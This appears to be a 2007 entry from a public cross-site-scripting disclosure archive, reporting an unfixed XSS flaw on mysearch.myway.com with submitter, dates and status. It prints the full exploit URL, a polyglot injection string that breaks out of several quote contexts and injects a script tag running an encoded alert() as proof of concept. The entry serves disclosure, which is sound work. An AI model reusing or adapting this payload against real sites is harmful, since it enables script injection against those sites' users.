Security researcher Xbox2002, has submitted on 17/06/2007 a cross-site-scripting (XSS) vulnerability affecting mysearch.myway.com, which at the time of submission ranked 332 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 19/06/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 17/06/2007 |
Date published: 19/06/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Xbox2002 |
Domain: mysearch.myway.com |
Category: XSS |
Pagerank: 332 |
|---|
URL: http://mysearch.myway.com/jsp/GGmain.jsp?ptnrS=TR&st=ap&searchfor=';alert(String.fromCharCode(88,98,
111,120,50,48,48,50,32,103,111,116,32,98,111,114,101,100))//\';alert(String.fromCharCode(88,98,111,1
20,50,48,48,50,32,103,111,116,32,98,111,114,101,100))//%22;alert(String.fromCharCode(88,98,111,120,5
0,48,48,50,32,103,111,116,32,98,111,114,101,100))//\%22;alert(String.fromCharCode(88,98,111,120,50,4
8,48,50,32,103,111,116,32,98,111,114,101,100))//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(String
.fromCharCode(88,98,111,120,50,48,48,50,32,103,111,116,32,98,111,114,101,100))%3C/SCRIPT%3E |
|
Click here to view the mirror
|
|
|
